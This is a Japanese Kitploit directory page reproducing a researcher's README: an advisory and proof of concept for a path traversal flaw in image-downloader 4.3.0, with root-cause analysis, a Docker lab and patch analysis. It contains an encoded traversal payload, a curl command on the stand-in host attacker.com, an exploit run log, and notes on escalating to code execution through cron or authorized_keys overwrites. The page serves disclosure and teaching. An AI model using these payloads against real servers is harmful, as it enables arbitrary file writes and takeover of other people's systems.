Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-103648 — CVE-2026-103648 のアドバイザリおよび PoC。image-downloader 4.3.0 におけるパストラバーサル (CWE-22) で、任意のファイル書き込みが可能。根本原因分析、パッチ diff、Docker ラボを含む。 | Kitploit
ツール/GitHubGitHub/eternullsec/cve-2026-103648
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育レッドチーミングラボと実践
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

CVE-2026-103648 のアドバイザリおよび PoC。image-downloader 4.3.0 におけるパストラバーサル (CWE-22) で、任意のファイル書き込みが可能。根本原因分析、パッチ diff、Docker ラボを含む。

23118日前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-103648 — image-downloader におけるパストラバーサル

CVE CVSS CWE Package Status License

発見者: Amirhossein Roustaei (@EterNullSec) — Eternull Security

📖 完全な技術解説: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal

⚠️ 教育目的のみ。 このリポジトリは、責任ある開示が行われた脆弱性を文書化したものです。すべての PoC コードは、認可されたセキュリティ研究および隔離されたラボ環境でのテストのみを目的としています。所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。


📋 アドバイザリ概要

項目詳細
CVE IDCVE-2026-103648
NVD エントリnvd.nist.gov/vuln/detail/CVE-2026-103648
CVSS v3.1 スコア9.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: パス名の制限されたディレクトリへの不適切な制限
パッケージimage-downloader (npm)、作者 demsking
npm 週間ダウンロード数約11,000 (月間約38,000) — 出典
影響を受けるバージョン< 4.3.1 (4.3.0 を含むすべてのバージョン)
修正バージョン4.3.1
割り当て元GitLab
公開日2026-10-02
報告者Amirhossein Roustaei (@EterNullSec)、Eternull Security

🔬 技術的 root cause 分析

この脆弱性は [email protected] のファイル名抽出ロジックに存在します。以下は影響を受けるバージョンの実際のソースコードです (index.js、公開されている npm パッケージから直接取得):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

正確なバグ

  1. path.basename(pathname) は、まだパーセントエンコードされたままの URL パス名に対して呼び出されます。%2e%2e%2fpwned.sh のようなシーケンスにはリテラルの / が含まれていないため、path.basename() は全体を単一のファイル名として扱い、そのまま返します — 何も取り除かれません。
  2. その結果はその後で decodeURIComponent() に渡されます。このステップで %2e%2e%2f がリテラルの ../ に戻ります — しかしこの時点では、サニタイズするはずだった basename ステップをすでに通過してしまっています。
  3. path.join(options.dest, decodedBasename) が、実際の ../ セグメントを含む文字列で呼び出されます。path.join() は cd .. と同じように .. を正規化するため、最終的な書き込みパスは options.dest の外側の場所に解決されます。

要するに、コードはファイル名を正しい方法でデコードしていますが、path.basename() に対する順序が誤っています。デコードしてから basename を適用するのは安全ですが、basename を適用してからデコードするのは安全ではありません。

最小限のトリガー

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

CVSS の内訳

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 攻撃モデル

このラボでは、再現を容易にするため、単一のスクリプトでバグのメカニズムをエンドツーエンドで実演していますが、現実世界の攻撃モデルを明示しておく価値があります:

  • 被害者: image-downloader の download.image({ url, dest }) を、自身が完全には制御していない url 値で呼び出すあらゆるアプリケーション — 例えば、ユーザーが送信した URL(アバター/画像インポート機能)、Webhook ペイロードから取得した URL、あるいは RSS/コンテンツフィードから読み取った URL など。
  • 攻撃者: 被害者の url が指す HTTP サーバーを制御(またはそこへリダイレクト)し、その URL のパスコンポーネントを制御します — トラバーサルはレスポンスボディではなく URL パス(%2e%2e%2f...)内に存在するため、これだけで十分です。
  • 影響: 被害者のプロセスが、開発者が意図したディレクトリの外側にある、攻撃者が選んだパスへ、攻撃者が選んだファイルを書き込みます — 広範なファイルシステムアクセス権を持つコンテナやスクリプト内では、これはしばしばコード実行へとエスカレートします(例:cron ファイル、authorized_keys ファイル、またはアプリが後で実行する実行ファイルの上書き)。

exploit/exploit.py では、ラボの便宜上、攻撃者と被害者の役割が 1 つのスクリプトに統合されています(「被害者」側のサーバーリクエストと、攻撃者が制御するペイロードサーバーの両方を立ち上げます)。実際の悪用シナリオでは、これらは無関係な 2 つの別個の当事者です — PoC がこのような構成になっているのは、単一のコマンドで脆弱性を再現できるようにするためだけです。


🧪 ラボ環境のセットアップ

前提条件

  • Docker & Docker Compose または Node.js v18+
  • Python 3.x(エクスプロイトスクリプト用)

オプション A — Docker(推奨)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

脆弱なサーバーは http://localhost:3000 で利用可能になります。

オプション B — 手動 Node.js

cd vulnerable-app/
npm install
node server.js

💥 再現手順 (PoC)

ステップ 1 — 脆弱なサーバーを起動する

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

ステップ 2 — エクスプロイトを実行する

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

または curl で手動実行します(トラバーサルはレスポンス本文ではなく URL のパス内にあります)。

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

ステップ 3 — トラバーサルを検証する

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 実行の証跡

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

🔧 パッチ分析

4.3.1 で修正済み(commit fb44543)。以下が実際のパッチ適用後のソースです:

// [email protected] — index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
  const decoded = decodeURIComponent(pathname);   // ✅ decode FIRST

  if (decoded.includes('\0')) {
    throw invalidFilename('the URL path contains a NUL byte');
  }
  return path.basename(decoded);                  // ✅ THEN basename
};

const isInside = (file, directory) => {
  const relative = path.relative(directory, file);
  return relative !== '' &&
    relative !== '..' &&
    !relative.startsWith(`..${path.sep}`) &&
    !path.isAbsolute(relative);
};

// ... inside module.exports.image:
const resolved = path.join(directory, filenameFromPathname(new URL(options.url).pathname));

if (!isInside(resolved, directory)) {
  return Promise.reject(invalidFilename('the URL path does not resolve to a file inside options.dest'));
}

三層防御:

  1. basename の前にデコード — 2つの操作を入れ替えることで、正確な順序のバグを修正します。
  2. NUL バイトの拒否 — 一部のファイルシステム syscall におけるファイル名切り詰めトリックから防御します。
  3. path.relative() による包含チェック — 将来の変更で順序のバグが再導入されたとしても、結果が dest の厳密な内部に解決されない場合は即座に拒否する、二重の安全策となる検証です。

🕐 開示タイムライン

ツールをダウンロード